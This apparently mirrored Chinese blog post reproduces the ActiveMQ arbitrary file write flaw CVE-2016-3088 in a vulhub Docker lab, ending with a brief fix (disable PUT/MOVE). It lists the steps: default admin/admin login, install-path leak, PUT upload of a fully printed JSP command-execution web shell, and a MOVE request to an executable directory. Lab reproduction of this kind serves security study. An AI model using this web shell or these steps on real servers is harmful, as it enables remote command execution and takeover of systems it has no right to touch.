zoukankan      html  css  js  c++  java
  • 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01 影响版本

    未禁用PUTMOVE等高危方法的ActiveMq版本(可自行尝试)

    0x02 漏洞复现

    (1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:

     

    (2)使用默认弱口令:admin/admin即可登录至后台:(注:没有密码无法写shell

     (3)访问目录信息泄露页面可获取ActiveMq安装目录:

    http://ip:8161/admin/test/systemProperties.jsp

    (4)在/fileserver/路径下可使用PUT方法直接上传小马:

    上传成功,可直接写入小马:

    <%@ page import="java.io.*" %>
    <%
    try {
    String cmd = request.getParameter("cmd");
    Process child = Runtime.getRuntime().exec(cmd);
    InputStream in = child.getInputStream();
    int c;
    while ((c = in.read()) != -1) {
    out.print((char)c);
    }
    in.close();
    try {
    child.waitFor();
    } catch (InterruptedException e) {
    e.printStackTrace();
    }
    } catch (IOException e) {
    System.err.println(e);
    }
    %>

    上传成功:

     

    (5)由于此目录并不解析,故需要将小马上传至别的可解析的目录下,在请求http://X.X.X.X:8161/fileserver/2.txt的页面进行抓包,然后在请求包内增加重定向的指令:

    Destination:file:///opt/activemq/webapps/api/test.jsp

    (6)使用MOVE方法移动至别的目录下,移动成功将返回204

     

    靶机内也多了一个——2.jsp文件

     

    (7)即可执行任意命令

     

    0x03 实验原理

    详细分析请查看:

    https://www.secpulse.com/archives/60064.html

    个人总结:ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,需要禁用危险的HTTP方法

  • 相关阅读:
    Convert CString to std::string
    VC 使用预编译头
    [转]Windows下使用doxygen阅读和分析C/C++代码
    [SCOI2016]背单词
    Linux配置日志服务器
    网络学习day02_OSI七层模型及数据的传输过程
    网络学习day04_VLSM、子网划分
    XSS闯关游戏准备阶段及XSS构造方法
    网络学习day03_IP地址概述与应用
    网络学习day01_计算机网络与分层思想
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14395931.html
Copyright © 2011-2022 走看看